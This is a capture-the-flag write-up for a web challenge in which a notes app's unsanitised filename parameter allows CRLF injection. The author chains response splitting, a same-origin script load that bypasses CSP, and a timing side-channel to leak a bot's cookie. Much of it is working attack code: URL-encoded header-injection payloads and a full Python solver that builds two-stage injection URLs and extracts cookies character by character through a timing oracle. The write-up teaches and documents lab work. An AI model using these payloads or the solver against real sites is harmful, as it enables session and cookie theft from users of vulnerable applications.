How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements

The Challenge That Said "No"

When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:

> "Welcome to the secure notes application. We take security very seriously. After discovering XSS vulnerabilities, we have disabled the dynamic notes feature."

The landing page linked to a single static file: /view/note.txt?name=note.txt. That was it. No forms, no inputs, no obvious attack surface. Just a long-winded text file explaining why the developers decided to remove all features to achieve "perfect security."

I started by reading the bot code provided to understand what is going on:

const playwright = require('playwright');
const express = require('express');

const app = express();
app.use(express.json());

const PORT = 3000;
const FLAG = process.env.FLAG || "Hackena{test_flag_123}";
const TARGET_DOMAIN = process.env.TARGET_DOMAIN || "localhost"; // web-nonotes:5001

async function visit(url) {
    let browser = null;
    try {
        console.log(`Visiting ${url}`);
        browser = await playwright.chromium.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const context = await browser.newContext();

        const cookie = {
            name: 'flag',
            value: FLAG,
            domain: TARGET_DOMAIN,
            path: '/',
            httpOnly: false,
            secure: false,
            sameSite: 'Lax'
        };

        await context.addCookies([cookie]);

        const page = await context.newPage();
        await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });
        await page.waitForLoadState('networkidle', { timeout: 7000 }).catch(() => {});
        await page.waitForTimeout(1000);
        await browser.close();
        console.log(`Visited ${url}`);
    } catch (e) {
        console.log(`Error visiting ${url}: ${e.message}`);
        if (browser) await browser.close();
    }
}

app.post('/visit', async (req, res) => {
    const url = req.body.url;
    if (!url) {
        return res.status(400).send('Missing url');
    }

    if (!url.startsWith('http')) {
        return res.status(400).send('Invalid URL protocol');
    }

    await visit(url);
    res.send('done');
});

app.listen(PORT, () => {
    console.log(`Bot listening on port ${PORT}`);
});

Bot Visit Function

async function visit(url) {
    let browser = null;
    try {
        console.log(`Visiting ${url}`);
        browser = await playwright.chromium.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const context = await browser.newContext();

The bot uses Playwright Chromium to visit attacker-controlled URLs.

Cookie Injection

const cookie = {
    name: 'flag',
    value: FLAG,
    domain: TARGET_DOMAIN,
    path: '/',
    httpOnly: false,    // ← JavaScript can read this!
    secure: false,
    sameSite: 'Lax'
};

await context.addCookies([cookie]);

Key Findings:

  • Cookie name is flag containing the actual flag value.
  • httpOnly: false means JavaScript can access it via document.cookie
  • TARGET_DOMAIN is environment-controlled (affects which origin sees the cookie)
  • sameSite: 'Lax' prevents the cookie from being sent on cross-site subrequests (like images or frames), but it is sent when the user navigates to the target site.

Bot Timing Behavior

const page = await context.newPage();
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });
await page.waitForLoadState('networkidle', { timeout: 7000 }).catch(() => {});
await page.waitForTimeout(1000);
await browser.close();
  • The bot navigates to your provided URL and waits until the basic HTML is parsed (domcontentloaded). It has a 7-second hard limit.
  • If your page is slow or contains a script that hangs the parser, the bot will sit here for the full 7 seconds before moving to the next line.
  • The bot waits until there are no more active network requests (images, scripts, API calls) for at least 500ms. Again, it has a 7-second timeout. The .catch(() => {}) ensures that even if the network never goes quiet, the script doesn't crash; it just moves on.
  • This is a goldmine for Side-Channel Timing Attacks. By forcing the bot to make many slow network requests (e.g., requesting a non-existent image 1,000 times), an attacker can reliably keep the bot "busy" for the full 7 seconds.
await page.waitForTimeout(1000);
await browser.close();
  • A forced 1-second pause before the browser instance is destroyed.
  • This ensures any final JavaScript execution (like a fetch sending the flag to your server) has a moment to complete before the "victim" disappears.

After understanding the bot code clearly I decided to observe the request and the response for the /view/note.txt?name=note.txt endpoint on the burp:

None

I noticed some important headers:

  • Content-Disposition: inline; filename="note.txt"
  • Content-Type: text/plain; charset=utf-8
  • Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';

There is an important thing I noticed the filename parameter comes from the name parameter and no sanitization visiable. Hmm User input in a response header? this is a huge proof about CRLF Injection existence.

What's CRLF Injection?

CRLF stands for Carriage Return (\r, %0D) and Line Feed (\n,%0A) — the special characters that separate HTTP headers. If an application puts untrusted input into a header without sanitization, an attacker can inject new headers or even control the response body entirely.

Come back here! let's ensure we are right, let me inject this ?name=%22%0D%0AX-Pwned:%20true%0D%0A :

None

hehehe PWNED. The server was blindly placing my input into the header. Now the question became: How far can I push this?

Response Splitting: Taking Full Control

A CRLF injection becomes truly dangerous when you can inject not just headers, but an entirely new response body. The trick is using Transfer-Encoding: chunked.

HTTP chunked encoding lets you specify the exact size of your content, then terminate the response. Anything after your chunk — like the original note.txt file — gets ignored by the browser.

We want to take full control of the browser to execute malicious code like steal a cookie, because XSS payloads are filtered, we use the response splitting technique.

Let's build a test payload:

name="%0D%0ATransfer-Encoding: chunked%0D%0AContent-Type: text/html%0D%0A%0D%0A3%0D%0Aabc%0D%0A0%0D%0A%0D%0A

Payload Structure:

  • %0D%0A —> \r\n → Close the Content-Disposition header.
  • Inject Transfer-Encoding: chunked
  • Change Content-Type to text/html
  • %0D%0A — Empty line (end of headers)
  • 3 — Chunk size: 3 bytes
  • abc — The actual HTML/JS content
  • 0 — Terminating chunk (signals end of response)

Let's see if it works:

None

Done I could print the abc as a HTML. If you stuck why I write this specific structure of the payload and how this request handled by the browser:

Think of the browser like a person reading a script.

  • The Hijack: Normally, the browser waits for the server to finish sending the whole file. But because you injected Transfer-Encoding: chunked, the browser stops looking at the total size and starts reading chunks.
  • The Execution: Since you changed the Content-Type to text/html, the browser doesn't download a file—it opens a page. It reads your 3 bytes of abc (or your JS payload) and executes it immediately.
  • The Clean Exit (The 0): This is the best part. The browser sees that 0 and thinks, the server is finished! I'll stop reading now.It completely ignores the rest of the real file that the server tries to send.

Now let's try making an alert using →

http://target.com/view/note.txt?name=%0D%0AContent-Type: text/html%0D%0A%0D%0A<script>alert(document.cookie)</script>

None

Wait what ?! why this not working. I will take a look again in the response. I remember there CSP header in the response I noticed: Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';

That means:

  • Can't load external resources.
  • Can't use inline JavaScript.
  • Can load scripts from same origin (self).

So I'm injecting the response from the same domain, doesn't that count as 'self' ?

The Two-Stage Attack

This is where it got creative. I needed to chain two CRLF injections:

Stage 1: Inject an HTML page

<html><body>
<script src="/view/note.txt?name=[CRLF-PAYLOAD-2]"></script>
</body></html>

Stage 2:Make that script src URL return JavaScript instead of text

// My malicious JavaScript here
document.cookie // Flag is here!

Because both responses come from the same origin, CSP's script-src 'self' allows the execution. Now we know how will be our attack chain look like.

Diving to the bot and the flag stage

The challenge provided a /report endpoint where you could submit URLs for a bot to visit. Looking at the bot source code:

const cookie = {
    name: 'flag',
    value: FLAG,
    domain: TARGET_DOMAIN,
    httpOnly: false,    // ← Not HttpOnly! JS can read it
    secure: false,
    sameSite: 'Lax'
};

await context.addCookies([cookie]);
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });

The flag was stored as a cookie. Good news: httpOnly: false means JavaScript can access it via document.cookie.

But here's the catch: the bot has no internet access. The challenge description explicitly stated this. So even though I could execute JavaScript in the bot's context, I couldn't just fetch() the cookie to my server.

The Timing Oracle

If I can't send data out directly, maybe I can encode information in time. The idea is simple but powerful:

if (document.cookie.length > 50) {
    // Busy-loop for 6 seconds
    var start = Date.now();
    while(Date.now() - start < 6000) {}
}

When I submit this to /report, I can measure how long the bot takes to respond:

  • If the condition is true: Bot blocks for 6 seconds → response takes ~7–8s
  • If the condition is false: Bot returns quickly → response takes ~1–2s

This is called a timing side-channel. By asking yes/no questions about the cookie, I can extract it one bit at a time.

To find the cookie length we can use the binary search technique:

def get_cookie_length(base):
    lo, hi = 1, 200
    while lo < hi:
        mid = (lo + hi + 1) // 2
        # Test: is length >= mid?
        ok, elapsed = oracle(f'document.cookie.length>={mid}', base)
        if ok:
            lo = mid
        else:
            hi = mid - 1
    return lo

Each oracle call takes 6–8 seconds, but binary search means I only need ~8 queries to find a length between 1–200.

Character Extraction

I would extract the characters by the same way (binary search) but it took too much time and hanged the sever so I asked Claude to optimize the code.

# Stage 1: Binary search (3-4 queries)
while hi - lo > 23:
    mid = (lo + hi) // 2
    ok = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
    if ok: lo = mid + 1
    else: hi = mid

# Stage 2: Parallel equality (5 workers, ~5s per char)
candidates = [c for c in "abcdefg...xyz0123..." if lo <= ord(c) <= hi]
results = oracle_parallel_batch([
    f'document.cookie.charCodeAt({pos})=={ord(c)}' 
    for c in candidates
], base)

Standard binary search was too slow and put too much stress on the server, so I switched to a hybrid approach to speed up the flag extraction:

  • The Bracket (Binary Search): First, I used binary search to "zoom in" on the character. Instead of checking every possibility, I asked the bot a few "Higher or Lower?" questions. This quickly narrowed each character down from 128 possibilities to a tiny "bracket" of about 20 candidates.
  • The Blast (Parallel Testing): Once the range was small enough, I stopped the binary search and tested all remaining candidates at once. By sending these requests in parallel, I didn't have to wait for them one by one.
  • The Result: I simply looked for the "Slowest Response." The one request that triggered the 7-second delay told me exactly which character was correct, while the wrong guesses finished almost instantly.

The Final attack Chain

The final exploit flow:

1. Verify server accepts CRLF injection (no bot needed).

2. Test JavaScript execution with making an alert.

3. Find which domain/origin has the cookie

4. Extract cookie length using binary search (~8 queries)

5. Extract each character using hybrid method (~50 seconds per char)

The Solver Build

Configuration

Key constants that control the exploit:

REPORT        = 'https://web-nonotes.hackena-labs.com/report'
EXTERNAL_BASE = 'https://web-nonotes.hackena-labs.com'
INTERNAL_BASE = 'http://web-nonotes:5001'
LOCALHOST     = 'http://localhost:5001'
ORACLE_DELAY  = 6       # seconds JS blocks when condition is TRUE
THRESHOLD     = 4       # seconds to distinguish TRUE (>4s) vs FALSE (<4s)
BOT_UP_THRESH = 1.5     # seconds; bot is UP when any URL takes longer than this

URL Builders

Stage 2: JavaScript Response Builder

def build_stage2(js_code):
    """
    Build the Stage 2 CRLF-injection URL.
    Injects: Transfer-Encoding: chunked + Content-Type: application/javascript
    Body: exactly js_code bytes (Transfer-Encoding truncates trailing note.txt).
    """
    size_hex = format(len(js_code.encode('utf-8')), 'x')
    injection = (
        '"\r\n'
        'Transfer-Encoding: chunked\r\n'
        'Content-Type: application/javascript\r\n'
        '\r\n'
        f'{size_hex}\r\n'
        f'{js_code}\r\n'
        '0\r\n'
        '\r\n'
    )
    return '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')

Stage 1: HTML Response Builder

def build_stage1(js_code, base):
    """
    Build the Stage 1 CRLF-injection URL.
    Injects: Transfer-Encoding: chunked + Content-Type: text/html
    Body: HTML page that loads Stage 2 as <script src>.
    """
    s2_rel  = build_stage2(js_code)          # relative URL (same-origin for CSP)
    html    = (f'<html><body>'
               f'<script src="{s2_rel}"></script>'
               f'</body></html>')
    size_hex = format(len(html.encode('utf-8')), 'x')
    injection = (
        '"\r\n'
        'Transfer-Encoding: chunked\r\n'
        'Content-Type: text/html\r\n'
        '\r\n'
        f'{size_hex}\r\n'
        f'{html}\r\n'
        '0\r\n'
        '\r\n'
    )
    return base + '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')

Important detail: Stage 2 URL appears double-encoded while building Stage 1, then decoded in steps by server/browser, ending with effective CRLF at Stage 2 request.

Oracle JavaScript Generator

def oracle_js(condition):
    """Build JS that blocks for ORACLE_DELAY seconds if condition is truthy."""
    return (f'if({condition}){{'
            f'var t=Date.now();'
            f'while(Date.now()-t<{ORACLE_DELAY}000){{}}'
            f'}}')

Report Function

def report(url, timeout=30):
    """Submit URL to /report and return (elapsed_seconds, response_text)."""
    t0 = time.time()
    try:
        r = SESSION.post(REPORT, data={'url': url}, timeout=timeout)
        return time.time() - t0, r.text
    except requests.Timeout:
        return time.time() - t0, 'TIMEOUT'
    except Exception as e:
        return time.time() - t0, f'ERR:{e}'

Oracle Function

def oracle(condition, base):
    """
    Returns (bool_result, elapsed_seconds).
    TRUE  → elapsed > THRESHOLD (JS blocked for ORACLE_DELAY s)
    FALSE → elapsed < THRESHOLD (JS returned immediately)
    """
    js  = oracle_js(condition)
    url = build_stage1(js, base)
    elapsed, _ = report(url, timeout=10)
    return elapsed > THRESHOLD, elapsed

Parallel Batch Optimization

def oracle_parallel_batch(conditions, base):
    """Execute multiple oracle calls in parallel for speed."""
    results = {}
    with ThreadPoolExecutor(max_workers=5) as executor:
        futures = {executor.submit(oracle, cond, base): cond for cond in conditions}
        for future in as_completed(futures):
            cond = futures[future]
            try:
                results[cond] = future.result()
            except Exception as e:
                results[cond] = (False, 0)
    return results

Verify Server Response Splitting

def verify_server():
    """
    Verify Stage 1 and Stage 2 URLs work correctly at the HTTP level.
    Does NOT require the bot to be running.
    """
    # Test Stage 2: CRLF → application/javascript + chunked body
    s2_url = EXTERNAL_BASE + build_stage2('alert(1337)')
    r = requests.get(s2_url, timeout=15)
    s2_ct = r.headers.get('Content-Type', '')
    s2_body = r.content
    s2_ok = 'application/javascript' in s2_ct and s2_body == b'alert(1337)'
    
    # Test Stage 1: CRLF → text/html + chunked HTML body
    s1_url = build_stage1('alert(1337)', EXTERNAL_BASE)
    r = requests.get(s1_url, timeout=15)
    s1_ct = r.headers.get('Content-Type', '')
    s1_body = r.text
    s1_ok = 'text/html' in s1_ct and '<script src=' in s1_body
    
    return s2_ok and s1_ok

Confirm JavaScript Execution

def confirm_execution():
    """
    Test if JS executes in the bot by submitting for(;;){}.
    for(;;){} blocks forever → page.goto timeout at 7s → bot responds in ~8-9s.
    """
    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
        url = build_stage1('for(;;){}', base)
        t, resp = report(url, timeout=25)
        if t > 7:  # Timeout indicates JS executed and blocked
            return base
    return None

Find Cookie Domain

def find_cookie_domain(exec_base):
    """Test each candidate base URL to find where document.cookie is non-empty."""
    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
        result, t = oracle('document.cookie.length>0', base)
        if result:
            return base
    return exec_base

Get Cookie Length

def get_cookie_length(base):
    """Binary search for document.cookie.length."""
    lo, hi = 1, 200
    while lo < hi:
        mid = (lo + hi + 1) // 2
        ok, t = oracle(f'document.cookie.length>={mid}', base)
        if ok:
            lo = mid
        else:
            hi = mid - 1
    return lo

Extract Single Character

def extract_char(pos, base, extracted_prefix=""):
    """Extract char at position pos using binary search + parallel batch finish."""
    FLAG_CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_{}=-ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    
    lo, hi = 32, 126
    
    # Stage 1: binary search to narrow range to ≤24 chars
    while hi - lo > 23:
        mid = (lo + hi) // 2
        ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
        if ok:
            lo = mid + 1
        else:
            hi = mid
    
    # Stage 2: parallel equality check on all candidates
    candidates = [c for c in FLAG_CHARS if lo <= ord(c) <= hi]
    if candidates:
        batch_conditions = [f'document.cookie.charCodeAt({pos})=={ord(c)}' 
                          for c in candidates]
        results = oracle_parallel_batch(batch_conditions, base)
        for cond, (found, _) in results.items():
            if found:
                for c in candidates:
                    if f'=={ord(c)}' in cond:
                        return c
    
    # Stage 3: fallback binary search if char not in FLAG_CHARS
    while lo < hi:
        mid = (lo + hi) // 2
        ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
        if ok:
            lo = mid + 1
        else:
            hi = mid
    
    return chr(lo)

Extract Full Cookie

def extract_cookie(length, base):
    """Extract document.cookie — 2 chars in parallel for ~2x speedup."""
    PARALLEL = 2
    cookie = ['?'] * length
    
    for batch_start in range(0, length, PARALLEL):
        batch_end = min(batch_start + PARALLEL, length)
        
        with ThreadPoolExecutor(max_workers=PARALLEL) as executor:
            futures = {executor.submit(extract_char, i, base, ""): i
                       for i in range(batch_start, batch_end)}
            for future in as_completed(futures):
                i = futures[future]
                cookie[i] = future.result()
    
    return ''.join(cookie)

The Full Solver

import requests, time, urllib.parse, sys, argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

# ── Connection Pool (reuse TCP+TLS across all oracle calls) ───────────────────
SESSION = requests.Session()
SESSION.mount('https://', requests.adapters.HTTPAdapter(
    pool_connections=8, pool_maxsize=8, max_retries=1))

# ── Config ────────────────────────────────────────────────────────────────────

REPORT        = 'https://web-nonotes.hackena-labs.com/report'
EXTERNAL_BASE = 'https://web-nonotes.hackena-labs.com'
INTERNAL_BASE = 'http://web-nonotes:5001'
LOCALHOST     = 'http://localhost:5001'

ORACLE_DELAY  = 6       # seconds JS blocks when condition is TRUE
THRESHOLD     = 4       # seconds to distinguish TRUE (>4s) vs FALSE (<4s)
BOT_UP_THRESH = 1.5     # seconds; bot is UP when any URL takes longer than this

# ── URL Builders ──────────────────────────────────────────────────────────────

def build_stage2(js_code):
    """
    Build the Stage 2 CRLF-injection URL.
    Injects: Transfer-Encoding: chunked + Content-Type: application/javascript
    Body: exactly js_code bytes (Transfer-Encoding truncates trailing note.txt).
    """
    size_hex = format(len(js_code.encode('utf-8')), 'x')
    injection = (
        '"\r\n'
        'Transfer-Encoding: chunked\r\n'
        'Content-Type: application/javascript\r\n'
        '\r\n'
        f'{size_hex}\r\n'
        f'{js_code}\r\n'
        '0\r\n'
        '\r\n'
    )
    return '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')


def build_stage1(js_code, base):
    """
    Build the Stage 1 CRLF-injection URL.
    Injects: Transfer-Encoding: chunked + Content-Type: text/html
    Body: HTML page that loads Stage 2 as <script src>.

    DOUBLE-ENCODING NOTE:
    Stage 1 injection is URL-encoded with safe='', so '%' → '%25'.
    Stage 2's %0D%0A becomes %250D%250A in Stage 1's query string.
    Flask decodes Stage 1 once → Stage 2 URL in HTML has %0D%0A.
    Chrome fetches Stage 2 with %0D%0A → Flask decodes again → CRLF injection.
    """
    s2_rel  = build_stage2(js_code)          # relative URL (same-origin for CSP)
    html    = (f'<html><body>'
               f'<script src="{s2_rel}"></script>'
               f'</body></html>')
    size_hex = format(len(html.encode('utf-8')), 'x')
    injection = (
        '"\r\n'
        'Transfer-Encoding: chunked\r\n'
        'Content-Type: text/html\r\n'
        '\r\n'
        f'{size_hex}\r\n'
        f'{html}\r\n'
        '0\r\n'
        '\r\n'
    )
    return base + '/view/note.txt?name=' + urllib.parse.quote(injection, safe='')


def oracle_js(condition):
    """Build JS that blocks for ORACLE_DELAY seconds if condition is truthy."""
    return (f'if({condition}){{'
            f'var t=Date.now();'
            f'while(Date.now()-t<{ORACLE_DELAY}000){{}}'
            f'}}')

# ── HTTP Helpers ──────────────────────────────────────────────────────────────

def report(url, timeout=30):
    """Submit URL to /report and return (elapsed_seconds, response_text)."""
    t0 = time.time()
    try:
        r = SESSION.post(REPORT, data={'url': url}, timeout=timeout)
        return time.time() - t0, r.text
    except requests.Timeout:
        return time.time() - t0, 'TIMEOUT'
    except Exception as e:
        return time.time() - t0, f'ERR:{e}'


def oracle(condition, base):
    """
    Returns (bool_result, elapsed_seconds).
    TRUE  → elapsed > THRESHOLD (JS blocked for ORACLE_DELAY s)
    FALSE → elapsed < THRESHOLD (JS returned immediately)
    Uses shorter timeout to detect false cases faster.
    """
    js  = oracle_js(condition)
    url = build_stage1(js, base)
    elapsed, _ = report(url, timeout=10)
    return elapsed > THRESHOLD, elapsed


_oracle_lock = threading.Lock()

def oracle_parallel_batch(conditions, base):
    """
    Execute multiple oracle calls in parallel.
    Returns dict: {condition -> (result, elapsed)}
    """
    results = {}
    with ThreadPoolExecutor(max_workers=5) as executor:
        futures = {executor.submit(oracle, cond, base): cond for cond in conditions}
        for future in as_completed(futures):
            cond = futures[future]
            try:
                results[cond] = future.result()
            except Exception as e:
                results[cond] = (False, 0)
    return results

# ── Bot Status ────────────────────────────────────────────────────────────────

def bot_is_up():
    """Bot is UP when a simple URL takes >BOT_UP_THRESH seconds."""
    t, _ = report(EXTERNAL_BASE + '/view/note.txt', timeout=10)
    return t > BOT_UP_THRESH, t


def wait_for_bot(max_minutes=120):
    """Block until bot is up. Returns True if found, False on timeout."""
    print(f"[~] Waiting for bot (checking every 30s, max {max_minutes}min)...")
    deadline = time.time() + max_minutes * 60
    check = 0
    while time.time() < deadline:
        up, t = bot_is_up()
        check += 1
        ts = time.strftime('%H:%M:%S')
        if up:
            print(f"\n[{ts}] Bot UP! ({t:.2f}s on plain URL)")
            return True
        print(f"[{ts}] #{check} Bot down ({t:.2f}s), retrying in 30s...", end='\r', flush=True)
        time.sleep(30)
    print(f"\n[!] Bot never came up after {max_minutes} minutes.")
    return False

# ── Verification (no bot needed) ──────────────────────────────────────────────

def verify_server():
    """
    Verify Stage 1 and Stage 2 URLs work correctly at the HTTP level.
    Does NOT require the bot to be running.
    """
    print("=" * 62)
    print("SERVER-SIDE VERIFICATION (no bot needed)")
    print("=" * 62)
    ok = True

    # Stage 2
    print("\n[Stage 2] CRLF → application/javascript + chunked body")
    s2_url = EXTERNAL_BASE + build_stage2('alert(1337)')
    r = requests.get(s2_url, timeout=15)
    s2_ct   = r.headers.get('Content-Type', '')
    s2_body = r.content
    s2_ok   = 'application/javascript' in s2_ct and s2_body == b'alert(1337)'
    print(f"  Content-Type : {s2_ct}")
    print(f"  Body         : {s2_body!r} ({len(s2_body)} bytes)")
    print(f"  Status       : {'✓ PASS' if s2_ok else '✗ FAIL'}")
    if not s2_ok:
        ok = False

    # Stage 1
    print("\n[Stage 1] CRLF → text/html + chunked HTML body")
    s1_url = build_stage1('alert(1337)', EXTERNAL_BASE)
    r = requests.get(s1_url, timeout=15)
    s1_ct   = r.headers.get('Content-Type', '')
    s1_body = r.text
    s1_ok   = 'text/html' in s1_ct and '<script src=' in s1_body and len(r.content) < 300
    print(f"  Content-Type : {s1_ct}")
    print(f"  Body length  : {len(r.content)} bytes (expected ~200)")
    print(f"  Has <script> : {'yes' if '<script src=' in s1_body else 'NO'}")
    csp = r.headers.get('Content-Security-Policy', '')
    print(f"  CSP          : {csp[:80]}")
    print(f"  Status       : {'✓ PASS' if s1_ok else '✗ FAIL'}")
    if not s1_ok:
        ok = False

    # Script src URL in the HTML (must have %0D%0A not %250D%250A)
    import re
    m = re.search(r'<script src="([^"]+)"', s1_body)
    if m:
        src = m.group(1)
        has_crlf_encoded = '%0D%0A' in src or '%0d%0a' in src
        print(f"\n[Stage 2 src inside HTML]")
        print(f"  src (first 100): {src[:100]}")
        print(f"  Has %0D%0A     : {'yes ✓' if has_crlf_encoded else 'NO ✗ (double-encoded bug!)'}")
        if not has_crlf_encoded:
            ok = False

    print(f"\n{'[✓] All server checks PASS' if ok else '[✗] SOME CHECKS FAILED'}")
    return ok


# ── Exploit Steps ─────────────────────────────────────────────────────────────

def confirm_execution():
    """
    Test if JS executes in the bot by submitting for(;;){}.
    for(;;){} blocks forever → page.goto timeout at 7s → bot responds in ~8-9s.
    Returns the base URL where JS executes, or None.
    """
    print("\n[Step 1] Confirming JS execution")
    print("  (for(;;){} should block domcontentloaded → bot takes ~8s)")

    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
        url = build_stage1('for(;;){}', base)
        t, resp = report(url, timeout=25)
        symbol = '✓' if t > 7 else '~' if t > 2 else '✗'
        print(f"  [{symbol}] {base:<42} {t:.2f}s")
        if t > 7:
            print(f"  → JS executes on {base}")
            return base

    print("  [!] JS not confirmed on any base URL.")
    print("      Possible causes:")
    print("      - Bot is DOWN (all times < 1.5s?)")
    print("      - Chrome stripping %0D%0A from script src URLs")
    print("      - CRLF injection blocked by WAF")
    return None


def find_cookie_domain(exec_base):
    """
    Test each candidate base URL to find where document.cookie is non-empty.
    """
    print("\n[Step 2] Finding cookie domain")
    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:
        result, t = oracle('document.cookie.length>0', base)
        symbol = '✓' if result else '✗'
        print(f"  [{symbol}] cookie.length>0 on {base:<42} ({t:.2f}s)")
        if result:
            print(f"  → Cookie found on {base}")
            return base
    print("  [!] Cookie empty on all domains. Trying exec_base as fallback.")
    return exec_base


def get_cookie_length(base):
    """Binary search for document.cookie.length."""
    print("\n[Step 3] Finding cookie length (binary search)")
    lo, hi = 1, 200
    while lo < hi:
        mid = (lo + hi + 1) // 2
        ok, t = oracle(f'document.cookie.length>={mid}', base)
        sym = '≥' if ok else '<'
        print(f"  len {sym} {mid:3d}   ({t:.2f}s)")
        if ok:
            lo = mid
        else:
            hi = mid - 1
    print(f"  → length = {lo}")
    return lo


def extract_char(pos, base, extracted_prefix=""):
    """Extract char at position pos using binary search + parallel batch finish."""
    # Frequency-ordered charset for CTF flags (most likely first)
    FLAG_CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_{}=-ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    
    lo, hi = 32, 126
    
    # Stage 1: binary search to narrow range to ≤24 chars (2-3 calls)
    while hi - lo > 23:
        mid = (lo + hi) // 2
        ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
        if ok:
            lo = mid + 1
        else:
            hi = mid
    
    # Stage 2: parallel equality check on all candidate chars (up to 24)
    # With 5 workers, 24 tasks = ~5 rounds; only 1 TRUE (6s), rest FALSE (2s)
    # Wall time: ~4×2 + 1×6 = 14s — faster than 5 sequential binary steps (~22s)
    candidates = [c for c in FLAG_CHARS if lo <= ord(c) <= hi]
    if candidates:
        batch_conditions = [f'document.cookie.charCodeAt({pos})=={ord(c)}' for c in candidates]
        results = oracle_parallel_batch(batch_conditions, base)
        for cond, (found, _) in results.items():
            if found:
                for c in candidates:
                    if f'=={ord(c)}' in cond:
                        return c
    
    # Stage 3: fallback binary search for chars not in FLAG_CHARS
    while lo < hi:
        mid = (lo + hi) // 2
        ok, _ = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
        if ok:
            lo = mid + 1
        else:
            hi = mid
    
    return chr(lo)


def extract_cookie(length, base):
    """Extract document.cookie — 2 chars in parallel for ~2x speedup."""
    PARALLEL = 2  # extract 2 chars simultaneously
    print(f"\n[Step 4] Extracting {length}-char cookie ({PARALLEL} chars parallel, 5 workers/batch)")
    cookie = ['?'] * length
    start_time = time.time()
    
    for batch_start in range(0, length, PARALLEL):
        batch_end = min(batch_start + PARALLEL, length)
        elapsed_total = time.time() - start_time
        if batch_start > 0:
            eta_remaining = elapsed_total * (length - batch_start) / batch_start
            eta_str = f" ETA: {eta_remaining/60:.1f}min"
        else:
            eta_str = ""
        
        print(f"\n[{batch_start:3d}/{length}] Extracting chars {batch_start}-{batch_end-1}...{eta_str}", flush=True)
        
        with ThreadPoolExecutor(max_workers=PARALLEL) as executor:
            futures = {executor.submit(extract_char, i, base, ""): i
                       for i in range(batch_start, batch_end)}
            for future in as_completed(futures):
                i = futures[future]
                cookie[i] = future.result()
                print(f"  [{i:3d}] '{cookie[i]}'", flush=True)
        
        partial = ''.join(cookie[:batch_end])
        print(f"  → {partial!r}", flush=True)
    
    return ''.join(cookie)

# ── Main ──────────────────────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(description='No Notes hehe – CTF Solver')
    parser.add_argument('--check',     action='store_true', help='Server-side check only (no bot)')
    parser.add_argument('--wait',      action='store_true', help='Wait for bot then auto-exploit')
    parser.add_argument('--test-exec', action='store_true', help='Test JS execution only')
    parser.add_argument('--no-wait',   action='store_true', help='Skip bot-up check, run immediately')
    args = parser.parse_args()

 

    # ── Mode: server-side check only ──
    if args.check:
        verify_server()
        return

    # ── Mode: test execution only ──
    if args.test_exec:
        up, t = bot_is_up()
        if not up:
            print(f"[!] Bot appears DOWN ({t:.2f}s). Use --no-wait to skip check.")
            if not args.no_wait:
                sys.exit(1)
        confirm_execution()
        return

    # ── Run verification first ──
    print("\n[0] Verifying server-side URLs...")
    if not verify_server():
        print("[!] Server checks failed. CRLF injection may be patched.")
        sys.exit(1)

    # ── Wait for bot if needed ──
    if args.wait:
        if not wait_for_bot():
            sys.exit(1)
    elif not args.no_wait:
        up, t = bot_is_up()
        if not up:
            print(f"\n[!] Bot appears DOWN ({t:.2f}s for plain URL).")
            print("    Run with --wait to keep trying, or --no-wait to force-run.")
            sys.exit(1)
        print(f"[✓] Bot UP ({t:.2f}s)")

    # ── Full exploit ──
    exec_base = confirm_execution()
    if exec_base is None:
        print("\n[!] Cannot confirm JS execution. Exploit cannot proceed.")
        print("    Possible issues: bot DOWN, Chrome URL sanitization, CSP")
        sys.exit(1)

    base = find_cookie_domain(exec_base)
    length = get_cookie_length(base)
    if length == 0:
        print("[!] Cookie is empty!")
        sys.exit(1)

    cookie = extract_cookie(length, base)

    print("\n" + "═" * 60)
    print(f"[+] FLAG COOKIE: {cookie}")
    print("═" * 60)


if __name__ == '__main__':
    main()

Run it using → python3 solver.py and wait about 30 min for full flag

Final Notes The challenge is a strong example that removing a feature does not remove all attack surface if response construction still trusts user input. The critical sink here is header generation, not HTML template rendering.

Happy Hacking :)